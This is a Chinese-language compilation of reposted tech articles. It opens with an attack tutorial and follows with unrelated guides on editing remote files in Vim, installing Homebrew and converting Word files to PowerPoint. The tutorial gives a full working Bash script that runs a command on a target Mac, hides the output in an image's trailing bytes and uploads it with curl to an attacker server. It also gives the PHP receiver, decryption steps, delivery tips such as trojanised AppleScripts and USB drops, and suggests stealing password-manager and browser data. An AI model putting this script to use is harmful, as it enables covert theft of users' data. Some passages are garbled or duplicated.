
与使用元数据标签将有效载荷存储在图像内部的方法不同，这里探讨的方法涉及将文本直接注入图像文件的页脚中。以下是 null-byte 的演示。

了解攻击

为本文创建了一个简单的Bash脚本，以演示攻击者如何轻松地在目标Mac计算机上找到的图像中渗入数据。

该脚本在下面，GitHub 在这里。

```
#!/bin/bash # `if` statement to detemine if the message is a 'response' one # This is the command being executed and embedded in the photo. # Single-quotes are used here to help with escaping special # characters within the desired command(s). exfilData='ls -lah "/Users/$USER/"' # Where the attackers PHP server is located. This
```

needs to be # updated to use a public domain, like Dropbox or something # with an official API. exfilSite="http://attacker.com/index.php" # If no suitable image is found on the target computer, this # image will be downloaded and used instead. By default, the # script tries to use an image already on the MacBook to # minimize the amount of traffic originating the device. tmpImage="https://support.apple.com/content/dam/edam/applecare/images/en_US/repair/psp-repair_2x.png" # The `find` command used to locate a suitable image to embed # data into. It will check the users home (~) directory for the # first (-print -quit) JPG, JPEG, or PNG smaller than 100k. # The filesize maximum and filetypes are somewhat arbitrary. # The size can be increased and the filetypes can be expanded # to use MP3, PDF, and MOV files, for example. findImage="$(find ~ -type f -size -100k \(-iname '*.jp*g' -o -iname '*.png' \) -print -quit)" # If the encryption option is enabled, the password is hardcoded # into the payload for convenience, making it possible to # reverse engineer and decrypt the exfiltrated data inside the # image. This is a quick and dirty solution. pass="password123" # An `if` statement to detect if a suitable PNG or JPG was # discovered. If not, it will download the backup image # defined earlier in the script (tmpImage). if [[! -f "$findImage"]]; then # Curl will silently (-s) download the backup image and # save it (-o) into the /tmp directory with the i.jpg filename. curl -s "$tmpImage" -o "/tmp/i.jpg" # The backup image is set into the exfilImage variable for # later commands. exfilImage="/tmp/i.jpg" else # If a suitable image is discovered, the exfilImage variable # is set for later commands. exfilImage="$findImage" fi # It may or may not be desirable to encrypt the payload output # before embedding it into the image. Set to `1` to enable # encryption, set to `0` to disable it.

```
useEncrypt='1' # An `if` statement to determine
the value of the exfilType # variable. If `1` it
will encrypt with openssl (LibreSSL). # Otherwise,
it will not encrypt. if [[ "$useEncrypt" = '1' ]];
then # OpenSSL is used to encrypt (enc) the
payload output # as well as encode (-a -A) the
encrypted data with a # password (-pass).
exfilData="$(openssl enc -aes-256-cbc -a -A -in
「(eval $exfilData) -pass pass:$pass)" else # If
encryption isn't used, Bash will evaluable the
variable # and execute it as a command.
exfilData="$(eval $exfilData)" fi # Printf is used
to embed the command output directly into # image.
It will append (」」) the data on a newline (\n\n).
# The newlines make it easy to quickly extract the
data # after it has been delivered to the
attacker. printf '\n\n%s' "$exfilData" 」」
"$exfilImage" # Curl will exfiltrate the image to
the attackers PHP # server. curl -F "image=@
$exfilImage" "$exfilSite"
```

该脚本将首先执行任意命令（例如 system_profiler）。该命令的输出是攻击者希望窃取的数据。

然后，脚本将尝试在目标的主目录（~/）中定位 JPEG 或 PNG 图像，并将命令的输出直接注入图片中。接着将图像立即上传（走私数据）到攻击者想要的任何网站。

以下是使用 Kali 中的 **nano** 文本编辑器打开的小图像文件的示例。可以看到图像产生了一些不寻常的字符，因为照片并不是要用文本编辑器打开的。

```
PNG ^Z ^@^@^@
IHDR^@^@^D^@^@^A^@^H^F^@^@^@^Ebk^@^@^L^WiCCPICC
Profile^@^@H^W^GXS^V[ %J A4&amp;
%H^FH^B %^T^T Wp-
`Y^U^Q^E^B^Z`a-ł 7 }
o2?3^L^@j^T^j^CP
Q^R^cXi^Y,R^O@^A^E(`l(^@5
_@(^C^A%^K ^K^@6/)^@
A^T^T f$ _c^N^U"^RT#^H^Up $
```

```
+&amp;v⍰⍰B,P⍰U⍰⍰"eD2⍰t^@P⍰/
^O⍰^X⍰^B^H⍰^P^GeI⍰cT⍰⍰^Nb⍰lq^XwH^GM^P
+⍰I_⍰Byh"İr⍰I⍰^d⍰X⍰
$[^V⍰^Y⍰⍰⍰d⍰⍰L⍰·y3a⍰⍰"!W⍰O⍰xG$ ł^R@⍰⍰DS^
\`w⍰⍰⍰⍰t':⍰⍰B7⍰6`⍰X'v^Pk^AAPa(/
y0^[⍰⍰⍰B⍰⍰gw⍰7⍰⍰⍰⍰7^C⍰^PNS⍰⍰
+⍰PZ,^S⍰⍰^T,^N⍰⍰ Y\ ^?
⍰(⍰^K⍰⍰^[^@⍰7th⍰⍰⍰W^?^[^Q⍰⍰⍰6^E⍰k⍰?⍰$
f⍰⍰⍰^T⍰⍰⍰`^U⍰^A^[⍰&amp;⍰
⍰^D⍰A^K8^@⍰⍰⍰⍰,⍰^@⍰⍰^K⍰⍰g⍰^OV⍰^@⍰
$⍰⍰0^P#⍰^\⍰F^\^Q^W⍰^K⍰GB⍰($^AIG2⍰^\D⍰(⍰^Y⍰|
⍰^\⍰@j⍰⍰H=⍰^K⍰^_9⍰⍰F."7⍰n⍰ ⍰ ⍰⍰b(^Ue⍰⍰⍰
```

向下滚动到同一文件的最底部，会发现一些 **ls** 和 **system_profiler** 命令的输出。

```
⍰^D^^⍰'⍰?^?~⍰⍰⍰P⍰⍰"⍰f⍰⍰"c⍰5h^@w岷
F⍰^K⍰⍰x2VS⍰L⍰P
$]^D⍰⍰⍰⍰{h⍰⍰⍰⍰⍰uL^f⍰⍰ia⍰⍰⍰⍰⍰⍰0pとuqg^Ha⍰Gg⍰⍰
⍰kH⍰⍰"UC⍰⍰「⍰⍰⍰⍰⍰⍰f^?]^N^X0
d⍰"g^WZ⍰ǽt⍰⍰⍰?
⍰⍰⍰twu⍰G|.⍰⍰yM~⍰k7⍰C^N9$e⍰⍰⍰⍰⍰⍰⍰?
ṇ^Bg^WL⍰⍰⍰^P⍰^L^S⍰⍰7⍰IW⍰^F⍰V⍰⍰{⍰^]w⍰ʸ~⍰
+W⍰⍰ˢ^F⍰⍰N;⍰⍰⍰⍰⍰ꝑW⍰⍰ꝸ⍰Vg^_-,,^L⍰l⍰⍰2⍰~⍰v⍰⍰⍰
$
⍰Xr⍰^U^U^U⍰⍰D⍰⍰⍰l⍰^Z⍰J^W⍰⍰T⍰⍰⍰⍰「⍰^D⍰a⍰⍰⍰⍰
%G^
\q⍰]⍰⍰mk⍰⍰ḫW⍰F⍰^^⍰E⍰kM^O^Z⍰⍰[⍰⍰⍰⍰⍰^Z⍰⍰⍰d⍰f
⍰4a3^B^H ⍰^@^B^H ⍰^@^B^H ⍰⍰v" èU⍰⍰^E-⍰Z).
⍰⍰'⍰#I⍰X⍰⍰jZ']F⍰^?⍰⍰⍰⍰⍰^?⍰⍰⍰⍰+⍰⍰⍰ꝏ
+  'T0ṅ⍰⍰^[k$⍰⍰|⍰⍰⍰^[⍰⍰⍰⍰⍰⍰v
^⍰⍰m⍰^V⍰i;⍰v⍰⍰'n⍰9sf⍰⍰ǯ
\⍰m⍰⍰⍰⍰⍰ē⍰^Ep⍰=ᵃ 6 Kڢ
\⍰s⍰⍰⍰ž⍰^_⍰⍰⍰⍰⍰⍰⍰⍰⍰⍰ƒ⍰⍰⍰⍰qL;9N⍰⍰⍰B{⍰
'l^⍰dI⍰」Gsʾ    1 0f⍰JS⍰g⍰a⍰8⍰Z}
⍰⍰V'يv⍰⍰6⍰⍰⍰⍰⍰^Epz⍰O」⍰
$1y⍰⍰⍰⍰⍰'⍰⍰:⍰⍰TbV9⍰⍰⍰⍰⍰⍰⍰⍰⍰t⍰\
⍰uVd⍰⍰⍰⍰Pf⍰MH^X\{⍰q⍰m⍰e^@⍰⍰⍰*x⍰^@^B^H
⍰^@^B^H ⍰^@^B^H
⍰@⍰^E⍰⍰⍰3⍰⍰⍰)⍰⍰sȣt1^L⍰,⍰⍰⍰⍰j⍰⍰EK⍰5⍰⍰^{⍰⍰K
```

n
\F8Dqq5+tU^Nj7aG&^W:s]g]kxA^U
*t^F~k{-H@/m
Jg'^D^P@^@^A^D^P@^@^A^D^P@^$ B
{.^P.^
\^K^A^D^P@^@^A^D^P@^@^A^D^P^EZ^So^L^A^B^Ht^F
^@^B^H ^@^B^H ^@^B;@c8j ^@^B^H
^@^B^H ^@^B^H ^@^B^H 」
^BpY^Q@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D:^@!
\'z*^B^H ^@^B^H ^@^B^H ^@^B^H
@^H^Pμ;gE^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^$
#^@^B^H ^@^B^H ^@^B^H ^@^B^H Q
g@nj ̊_^_XbE@E"^QHp6^Eo^P@^@^A^D^P@^@^A^D^
^@^B^H ^@^B^H ^@^B^H
^@^BvAÖOJ^@g6j^En6E^Hg$X"^@^B^H
^@^B^H ^@^B^H ^@^B^H Q@+-Kq
!\6)#^@^B^H ^@^B^H ^@^B^H ^@^B^H E
LVUÚ^W!`^@^B^H ^@^B^H ^@^B^H
^@^B^H @^[
^Pμ^Q,E^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^H^P^Y
^H ^@^B^H ^@^B^H ^@^B^H ^@^B^H^@!
\^[rX^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^@!
`^@^B^H ^@^B^H ^@^B^H ^@^B^$ b1/
^Sm[cD^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^AWP(
J*^W6+X"^@^B^H ^@^B^H ^@^B^H ^@^B^H
@^Bp8rJj8mF_drpPWB^@^A^D^P@
H$f*
S^B^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^Dh
^^^G/_^^xw,^P ^BN9^3B
$_B'^]x^@^B^H ^@^B^H ^@^B^H ^@^B^H
@^W {Qmmj ^TY[$^R ^Fpμ
+s^]S^_^?u=zX! FC寻
i^R^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^D^P@^@^A^DZ
$V·yRCs」
*{&^O@q2^@^@^@^@IENDB` total 80
drwx------+ 19 user staff 608B May 3 02:22 Desktop
drwxr-xr-x+ 17 user staff 544B May 3 01:00 . -
rw------- 1 user staff 55B May 3 01:00 .lesshst
drwx------ 59 user staff 1.8K May 2 23:48
.bash_sessions -rw------- 1 user staff 23K May 2

```
22:17 .bash_history -rw-r--r--@ 1 user staff 8.0K
May 2 22:11 .DS_Store drwx------ 7 user staff 224B
Apr 28 06:46 .Trash drwx------+ 33 user staff 1.0K
Apr 26 21:33 Documents drwx------@ 55 user staff
1.7K Apr 25 06:58 Library drwxr-xr-x 15 user staff
480B Nov 18 11:36 .atom drwx------+ 4 user staff
128B Nov 18 06:32 Downloads drwx------ 3 user
staff 96B Nov 18 05:51 .config drwx------+ 3 user
staff 96B Oct 29 2018 Movies drwx------+ 3 user
staff 96B Oct 29 2018 Music drwx------+ 3 user
staff 96B Oct 29 2018 Pictures drwxr-xr-x+ 4 user
staff 128B Oct 29 2018 Public drwxr-xr-x 5 root
admin 160B Oct 29 2018 .. Firewall: Firewall
Settings: Mode: Allow all incoming connections
Firewall Logging: Yes Stealth Mode: No
```

图像如何保留数据的技术细节超出了本文的范围。这里重要的是，图片底部的数据不会让照片看起来有任何不同。

诸如 Apple 的 Preview 之类的图像查看器将继续如常打开图像，而不会检测到图像文件中隐藏的数据。

这样，就把图像变成了用于数据窃取的出色传输机制。

该脚本使用 I/O 重定向完成将数据注入到图像文件中的过程。这与使用」」运算符将数据附加到文本文件的方式非常相似，该脚本会将命令输出附加到图像文件的底部。

为什么要在图像中渗入数据？

因为这样做可以绕过防火墙。借助基于网络的防火墙解决方案，可以观察到在网络上特定设备传输的每个数据包。于是攻击者很难获取大量信息。

而在图像中走私数据有助于解决这一障碍。

「图」

「图」

Wireshark capture of an image containing exfil data being sent to

an arbitrary website.

了解有效载荷

现在逐行分解一下这个脚本。

它从几个变量开始，应根据情况进行适当更改。第一个变量将确定要在目标MacBook上执行的命令。该命令的输出嵌入在图像文件中。

下面的示例对目标的主目录执行一个简单的 **ls** 命令。单引号用于此变量，以帮助转义字符。在提出要执行的命令时要注意这一点。

```
exfilData='ls -lah "/Users/$USER/"'
```

该图像可以泄露到很多地方。在 Dropbox 和 Flickr 等网站上，存在官方 API，以使最终用户（包括攻击者）尽可能方便地上传文件。

同样，curl 可以模拟POST请求，将图像发送到文件共享网站和其他论坛。对于此演示，我们将在攻击者的系统上使用简单的PHP服务器设置。

```
exfilSite="http://attacker.com/index.php"
```

就像稍后在脚本中看到的那样，它尝试枚举可行的图像以将输出数据保存到其中。如果未找到任何东西，脚本将下载下面的图像，使用它来走私输出数据。

以下 URL 链接到一个 Apple 域的随机图像，但实际上可以是互联网上的任何 JPEG 或 PNG。

```
tmpImage="https://support.apple.com/content/dam/
edam/applecare/images/en_US/repair/psp-
repair_2x.png"
```

该脚本将尝试查找小于100k且包含 JPEG、JPG 或 PNG 文件扩展名的图像文件 (**-type f**)。

它将使用符合此条件的第一个图像作为渗透文件 (**-print -quit**)。

文件大小基本任意的。较小的图像文件将使上传过程更快。这些 **find** 的主要功能是显示如何完善条件。

```
findImage="$(find ~ -type f -size -100k \( -iname
'*.jp*g' -o -iname '*.png' \) -print -quit)"
```

该脚本支持在将命令输出数据嵌入到图像之前对其进行加密的功能。用 **1** 启用它，用 **0** 禁用它。

```
useEncrypt='1'
```

启用加密后，以下密码用于保护输出数据。为了方便起见，它被硬编码到有效负载中，这使得可以反向工程和解密图像中的渗入数据。公钥加密在这里更有意义。

```
pass="password123"
```

脚本的其余部分无需修改。以上所有变量均硬编码到以下部分中。

以下是两个 **if** 语句中的第一个，它将确定是否检测到合适的 JPEG 或 PNG 文件，然后在以下命令中使用它，或下载在 “tmpImage” 变量中定义的 Apple 图像。

```
if [[ ! -f "$findImage" ]]; then curl -s
"$tmpImage" -o "/tmp/i.jpg" exfilImage="/tmp/
i.jpg" else exfilImage="$findImage" fi
```

第二个 **if** 语句使用 OpenSSL（在 macOS 或 Mac OS X 中为 LibreSSL）用 **$pass** 来加密输出数据。否则，它将不会加密并将输出数据以纯文本格式注入到图像中。

```
if [[ "$useEncrypt" = '1' ]]; then
exfilData="$(openssl enc -aes-256-cbc -a -A -in
「(eval $exfilData) -pass pass:$pass)" else
exfilData="$(eval $exfilData)" fi
```

这里有 I/O 重定向。Printf 用于将命令输出附加(」」)到图像文件中。添加了换行符（**\n\n**）以将注入的数据与原始图像数据分开，从而使在以下命令中更易于提取。

```
printf '\n\n%s' "$exfilData" 」」 "$exfilImage"
```

最后，发送图像。

```
curl -F "image=@$exfilImage" "$exfilSite"
```

第一步：启动PHP服务器

本文前面使用的示例利用 File.io 存储被渗透的图像。尽管类似的文件共享网站都非常适合此攻击，但这里将展示如何在 Kali 中使用本地 PHP 服务器来拦截图像。

PHP 用于拦截来自目标 MacBook 的图像。将以下 PHP 代码保存到名为 “ index.php” 的文件中，并使用 **php -S 0.0.0.0:80** 启动服务器。

```
「?php $file = date("dHis") . ".png";
move_uploaded_file($_FILES['image']['tmp_name'],
$file); ?」
```

第二步：部署有效载荷

有几种方法可以使 Mac 用户执行某些恶意代码。

破坏目标的最简单方法是对其进行社交工程设计，以诱使目标打开木马化的 AppleScripts。

这可以通过执行 USB Dead Drop 攻击来实现，macOS 极易受到该攻击或远程绕过Gatekeeper攻击。

有关 USB Dead Drop 攻击的更多信息，可以看这篇文章。它着重于损害Windows 10目标，但也深入讨论了如何使用USB闪存驱动器作为攻击媒介。

第三步：访问被窃取的数据

PHP 服务器接收到被渗透的图像后开始提取嵌入的数据。如果在有效负载中禁用了加密，则可以使用 **tail** 命令轻松提取里面所有数据。根据需要更改要打印的行数（**-n**）。

```
~$ tail -n 20 image.png 1

g@@nj ˚_X bE@E"H p6o@@@@&amp;;oZ 6dŘ
J*6+X"
@p8r J j8m F_ dr p PW B@@@@Mö
!\rX@@@@! ` @ ,E@@@@ !\rX@@@@!
` @ ,E@@@q `1 F C寻i@@@@Z
$V·yR Cs 」*{&amp;@ q 2 IEND B`
]u n3 pR7/ H$f * S@@@@ h

```

```
⿻⿻/_x⿻w, 2 total 80 3 drwx------+ 19 user staff
608B May 3 02:22 Desktop 4 drwxr-xr-x+ 17 user
staff 544B May 3 01:00 . 5 -rw------- 1 user staff
55B May 3 01:00 .lesshst 6 drwx------ 59 user
staff 1.8K May 2 23:48 .bash_sessions 7 -rw-------
1 user staff 23K May 2 22:17 .bash_history 8 -rw-
r--r--@ 1 user staff 8.0K May 2 22:11 .DS_Store 9
drwx------ 7 user staff 224B Apr 28 06:46 .Trash
10 drwx------+ 33 user staff 1.0K Apr 26 21:33
Documents 11 drwx------@ 55 user staff 1.7K Apr 25
06:58 Library 12 drwxr-xr-x 15 user staff 480B Nov
18 11:36 .atom 13 drwx------+ 4 user staff 128B
Nov 18 06:32 Downloads 14 drwx------ 3 user staff
96B Nov 18 05:51 .config 15 drwx------+ 3 user
staff 96B Oct 29 2018 Movies 16 drwx------+ 3 user
staff 96B Oct 29 2018 Music 17 drwx------+ 3 user
staff 96B Oct 29 2018 Pictures 18 drwxr-xr-x+ 4
user staff 128B Oct 29 2018 Public 19 drwxr-xr-x 5
root admin 160B Oct 29 2018 ..
```

如果启用了加密，则必须在 Kali 中安装 OpenSSL（LibreSSL）才能解密数据。确保安装 LibreSSL 版本2.8。在本测试中 2.9.x 版本似乎与 Mojave 的 LibreSSL 版本不兼容；数据不会解密。

在 Kali 中，首先下载 LibreSSL 压缩包。

```
~$ wget 'https://ftp.openbsd.org/pub/OpenBSD/
LibreSSL/libressl-2.8.2.tar.gz' --2019-04-28
21:08:46-- https://ftp.openbsd.org/pub/OpenBSD/
LibreSSL/libressl-2.8.2.tar.gz Resolving
ftp.openbsd.org (ftp.openbsd.org)... 129.128.5.191
Connecting to ftp.openbsd.org (ftp.openbsd.org)|
129.128.5.191|:443... connected. HTTP request
sent, awaiting response... 200 OK Length: 3373599
(3.2M) [text/plain] Saving to:
‘libressl-2.8.2.tar.gz’ libressl-2.8.2.tar.gz
100%[==============」] 3.22M 255KB/s in 25s
2019-04-28 21:09:15 (133 KB/s) -
‘libressl-2.8.2.tar.gz’ saved [3373599/3373599]
```

使用以下 **tar** 命令将其解压缩，以提取 (**x**) .gz (**z**) 文件(**f**).

```
~$ tar -xzf libressl-*.tar.gz libressl-2.8.2/m4/
check-hardening-options.m4 libressl-2.8.2/m4/
check-libc.m4 libressl-2.8.2/m4/check-os-
options.m4 libressl-2.8.2/m4/disable-compiler-
warnings.m4 libressl-2.8.2/m4/libtool.m4 ...
libressl-2.8.2/man/tls_load_file.3 libressl-2.8.2/
man/tls_ocsp_process_response.3 libressl-2.8.2/
man/tls_read.3 libressl-2.8.2/man/openssl.cnf.5
libressl-2.8.2/man/x509v3.cnf.5 libressl-2.8.2/
man/Makefile.in libressl-2.8.2/man/CMakeLists.txt
```

完成后，将 (**cd**) 更改为新的 libressl-* / 目录。

```
~$ cd libressl-*/
```

使用 **./configure** 确保一切准备就绪，可以构建应用。这将需要几分钟才能完成。

```
~$ ./configure &amp;amp;&amp;amp; make checking build
system type... x86_64-pc-linux-gnu checking host
system type... x86_64-pc-linux-gnu checking for a
BSD-compatible install... /usr/bin/install -c
checking whether build environment is sane... yes
checking for a thread-safe mkdir -p... /usr/bin/
mkdir -p ... make[1]: Entering directory '/opt/
libressl-2.8.2/man' make[1]: Nothing to be done
for 'all'. make[1]: Leaving directory '/opt/
libressl-2.8.2/man' make[1]: Entering directory '/
opt/libressl-2.8.2' make[1]: Nothing to be done
for 'all-am'. make[1]: Leaving directory '/opt/
libressl-2.8.2'
```

然后，使用 **make install** 将必要的软件安装到适当的系统目录中。

```
~$ make install make install Making install in
crypto make[1]: Entering directory '/opt/
libressl-2.8.2/crypto' make install-am make[2]:
Entering directory '/opt/libressl-2.8.2/crypto'
... make[2]: Nothing to be done for 'install-exec-
am'. /usr/bin/mkdir -p '/usr/local/lib/pkgconfig'
/usr/bin/install -c -m 644 libcrypto.pc libssl.pc
```

```
libtls.pc openssl.pc '/usr/local/lib/pkgconfig'
make[2]: Leaving directory '/opt/libressl-2.8.2'
make[1]: Leaving directory '/opt/libressl-2.8.2'
```

最后，使用 **ldconfig** 创建必要的链接并缓存到最新的共享库。

```
~$ ldconfig
```

要验证安装是否成功，请使用 **whereis** 命令查找 **openssl** 二进制文件。

```
~$ whereis openssl openssl: /usr/bin/openssl /usr/
local/bin/openssl /usr/share/man/man1/
openssl.1ssl.gz
```

/usr/local/bin/ 中的文件是最新版本，可以使用以下 **openssl** 命令进行验证。

```
~$ /usr/local/bin/openssl version LibreSSL 2.8.2
```

完成安装后，可使用以下命令提取并解密图像中的数据。

```
~$ /usr/local/bin/openssl enc -d -aes-256-cbc -a -
A -pass pass:password123 -in 「(tail -n1
image.png) total 80 drwx------+ 19 user staff 608B
May 3 02:22 Desktop drwxr-xr-x+ 17 user staff 544B
May 3 01:00 . -rw------- 1 user staff 55B May 3
01:00 .lesshst drwx------ 59 user staff 1.8K May 2
23:48 .bash_sessions -rw------- 1 user staff 23K
May 2 22:17 .bash_history -rw-r--r--@ 1 user staff
8.0K May 2 22:11 .DS_Store drwx------ 7 user staff
224B Apr 28 06:46 .Trash drwx------+ 33 user staff
1.0K Apr 26 21:33 Documents drwx------@ 55 user
staff 1.7K Apr 25 06:58 Library drwxr-xr-x 15 user
staff 480B Nov 18 11:36 .atom drwx------+ 4 user
staff 128B Nov 18 06:32 Downloads drwx------ 3
user staff 96B Nov 18 05:51 .config drwx------+ 3
user staff 96B Oct 29 2018 Movies drwx------+ 3
user staff 96B Oct 29 2018 Music drwx------+ 3
user staff 96B Oct 29 2018 Pictures drwxr-xr-x+ 4
user staff 128B Oct 29 2018 Public drwxr-xr-x 5
```

```
root admin 160B Oct 29 2018 ..
```

本文中使用的有效负载是一个基本示例。但是在实际情况下，攻击者有可能会设计脚本为离线暴力攻击者定位并泄露 LastPass 和 1Passwords 数据。

其他渗透攻击可能涉及缓存的浏览器密码、终端历史记录、Web流量，以及攻击者认为值得窃取的任何数据。〇

原文

如何在 Linux 上使用Vim编辑远程文件 - iYouPort

技术-攻击防御和反抗

Vim 是最好的、可高度自由配置的文本编辑器之一，它具有许多其他文本编辑器中找不到的独特功能。

本文将讨论一项有用的功能 —— 从本地系统编辑远程系统的文件。即：您可以编辑存储在远程 Linux 系统中的文件，而无需实际通过SSH或任何其他方法登录。

从 Vim 7.x 版本开始，将 netrw.vim 插件安装为标准插件。该插件可让您通过 ftp，rcp，scp 或 http 编辑文件。

什么是 Netrw 插件？

Netrw（面向网络的读取、写入和浏览）插件支持跨网络进行本地和远程编辑、读取和写入文件。它还支持浏览本地和远程目录。下面具体说明一下。

在 Linux 上使用 Vim 编辑远程文件

使用Vim编辑远程文件非常简单，只需要这样：

vim scp:*user@remotesystem*path_to_file

例子：我的远程系统中有一个名为 info.txt 的文本文件，其内容如下。

Welcome to OSTechNix

现在，我将编辑该文件，并对其进行一些更改，然后保存并关闭该文件。全部来自我的本地系统。

为此，只需运行以下命令：

$ vim scp:*sk@192.168.225.22/info.txt* 在这里，您应注意以下三件事。 *1*、*user@remotesystem (*例如 *sk@192.168.225.22)* —— *sk*是远程系统的用户名。 *192.168.225.22* 是远程系统的*IP*地址。 *2*、*Single slash (/)* —— 如果要编辑存储在远程系统 *$ HOME* 目录中的文件，则必须使用斜杠将远程系统的*IP*地址或主机名与文件路径分开。在以上情况下，我已将 *info.txt* 文件存储在*$ HOME*目录中，因此使用了单斜杠。 *3*、 (Double slashes) —— 要指定文件的完整路径，必须使用双斜杠。一个斜杠（/）用于将远程系统的IP地址或主机名与实际文件路径分开；另一个斜杠用于表示远程文件的完整路径。

例如，假设您正在编辑一个名为 info.txt 的文件，该文件位于远程系统的 /home/sk/Documents/ 目录中。在这种情况下，命令将是：

$ vim scp:*sk@192.168.225.22*home/sk/Documents/info.txt

请注意，双斜杠在远程系统的IP地址和文件路径之间。仅在提及远程文件的绝对路径时才需要双斜杠。

验证本地系统中远程文件的内容：

$ ssh sk@192.168.225.22 cat info.txt

sk@192.168.225.22's password:

Welcome to OSTechNix blog

「图」

「图」

看到没？我在 info.txt 文件中添加了一个额外的单词“ blog”。

有时，出于安全考虑，您可能已更改了默认SSH端口。在这种情况下，请像下面那样提及SSH端口。

$ vim scp:*sk@192.168.225.22:2200/info.txt* 将*2200*替换为您的*SSH*端口号。 如果您没有 *ssh / scp* 访问权限，则可以使用其他协议，例如*ftp*，如下所示。 *$ vim ftp://user@remotesystem/path/to/file !!!*在***Vim*** 会话中编辑远程文件 如果您已经在*Vim*会话中，则可以从本地系统编辑远程文件，如下所示。 通过运行以下命令从*Vim*的新缓冲区中打开文件： *:e scp:*sk@192.168.225.22/info.txt

在文件中进行更改，然后按ESC键并键入 :wq 以保存并关闭文件。

下面是视觉演示：

「图」

「图」

如您在上面的输出中看到的，

- 从本地系统打开了Vim编辑器，
- 然后，在Vim会话的新缓冲区中打开了名为 info.txt 的远程文件，
- 然后在文件中进行一些更改，
- 最后，保存更改并关闭文件 (ESC 和 :wq)

您还可以通过运行以下命令在新选项卡中打开文件：

> tabe scp:*sk@192.168.225.22/info.txt* 希望本文能对您有所帮助。○ *Vim Tips—Edit Remote Files With Vim On Linux* 原文

如何在 macOS 上轻松安装开源软件 - iYouPort

技术-攻击防御和反抗

一起来，F**那个愚蠢的 App Store

「图」

「图」

在我转向使用 macOS 作为日常工作操作系统之前，我使用了无数的 GNU / Linux 平台。Linux（以及构建 macOS 的 FreeBSD 和 OpenBSD）使我可以通过包管理器轻松访问各种开源软件。

什么是包管理器

包管理器是一个命令行工具，它允许我访问在计算机上安装和下载的大量预构建软件包（或有时是源代码，如果需要的话）。我可以打开一个终端，只需输入一个命令，告诉包管理员下载并安装我所需的任何免费开源软件。

虽然 macOS 有 App Store，但它不是我最喜欢的开源软件存储库（至少不是原始的纯粹形式）。像 mplayer，wget 和 gcc 这样的东西根本不在 App Store 中，搜索或构建包的源代码会使工作变得繁重。

🌤有办法 — — Homebrew

什么是 **Homebrew**

Homebrew 将自己称为“缺少 macOS 的软件包管理器”，它将“安装 Apple 所不需要的东西”。一旦安装在 Mac 上，您就可以轻松访问数百个可供您使用的开源软件包。需要下载 YouTube 视频吗？打开命令提示符并键入“brew install youtube-dl”；需要交叉编译另一个平台吗？输入“brew install gcc”；想在 macOS 上玩基于 Windows PC 的游戏吗？输入“brew install wine”。就这么简单。

安装 **Homebrew**

」 启动终端

」 在命令行输入：

- **/ usr / bin / ruby -e“$ (curl -fsSL**"https://raw.githubusercontent.com/Homebrew/install/master/install) "

    - Return
    - 再次点击 Return 以允许安装开始。
    - 输入您的密码
    - Return

「图」

「图」

等待下载开始，安装程序完成。

安装软件包

一旦安装了 Homebrew，您现在可以下载任何您喜欢的开源软件，有数百种应用程序可供选择。例如，假设我想安装像 Transmission 这样的轻量级 torrent 客户端，那么就这样：

- 打开终端
- 在命令行输入：brew install transmission
- 点击返回
- 完成！

很快吧。就是这么简单。

「图」

「图」

凭借 Apple 在其 BSD 基础上创建的令人惊叹的图形界面，很容易忘记 UNIX 命令行可以提供的强大功能。它具有灵活性和快速性，拥有大量可以将任何用户转变为高级用户的免费软件。

您认为 App Store 应该将开源软件包推广到其范围吗？拥有像 Homebrew 这样的第三方软件包管理器是更好的选择吗？欢迎留言。

原文

如何将 DOCX 文档转换为 PPTX 文件 - iyouport

技术-攻击防御和反抗

在本地处理

并非所有的演示都在 PowerPoint 制作。如果您的演讲内容是在Word文档（DOCX文件）中，有几种方法可以将您的文档变成 PowerPoint 演示文稿（PPTX文件）。

您可以在网上轻松地将Word文档转换为PowerPoint文件。这是一个简单的过程，但您必须把你的文件上传到微软的网络应用。如果您想在本地处理文件，有一种方法可以在您的电脑上做到这一点。

在桌面上将**Word**文档转换为 **PowerPoint**

微软Word的桌面应用程序不提供上述功能来自动将Word文件转换为PowerPoint。相反，它使用一个手动变通方法来转换您的文件。

这个解决方法涉及到以 PowerPoint 接受的方式格式化您的Word文档，然后将该文档导入 PowerPoint 应用程序中。

首先，格式化**Word**文档

第一步是使您的Word文档与PowerPoint兼容。要做到这一点，对所有的标题应用H1标题样式，对文档中的所有段落应用H2标题样式。

首先用 Microsoft Word 打开您的文档。在Word窗口中，选择您文档中的一个标题。

当标题被选中时，在Word窗口顶部的 “样式” 部分，点击 “Heading 1”样式。对您的文档中的所有标题都要这样做。

接下来，选择标题下面的段落。然后在顶部的 “样式” 部分，点击 “更多”，然后选择 “Heading 2”。以这种方式对所有的文件段落进行格式

化。

最后，点击Word菜单栏中的 “文件”」“保存” 来保存文档。或者在Windows上按 Ctrl＋s，在Mac上按 Command＋s ）。

关闭Word中的文档。

接下来，将**Word**文档导入**PowerPoint**中

您的Word文档现在已经准备好被导入到 PowerPoint 中了，并转换成一个演示文稿。

在电脑上打开 PowerPoint，开始导入过程。在 PowerPoint 的第一个屏幕上，点击 “空白演示文稿” 来制作一个新的演示文稿。

在打开的 PowerPoint 编辑窗口中，点击顶部的 “主页” 标签。然后，在顶部的 “幻灯片” 部分，点击 “新幻灯片” 旁边的箭头图标。

在出现的菜单中选择 “Slides from Outline”。

PowerPoint 将要求您选择要导入您的演示文稿的文件。在这里，选择您先前格式化好的Word文档。

您的Word文档现在将被转换为一个 PowerPoint 演示文稿。您的Word文档中的每个 “Header 1” 现在都将在演示文稿中拥有一张专门的幻灯片。查看这个演示文稿，如果您想要的话，可以对它进行修改。

您的Word文档现在将被转换为一个 PowerPoint 演示文稿。您的Word文档中的每个 “Header 1” 现在都将在演示文稿中拥有一张专门的幻灯片。查看这个演示文稿，如果您想要的话，可以对它进行修改。

最后，在 PowerPoint 的菜单栏中点击 文件」保存，保存演示文稿。

如果您有一个 PowerPoint 演示文稿想转换为Word，也有办法做到这一点。下面是方法。

打开 PowerPoint 文件，转到 “文件” 选项，然后从侧栏中选择 “导出”。

在 “导出” 菜单下，选择 “创建讲义”。

右边会出现几个要点，其中有一些关于您可以用讲义做什么的有用信息：

- 将幻灯片和笔记放在Word文档中
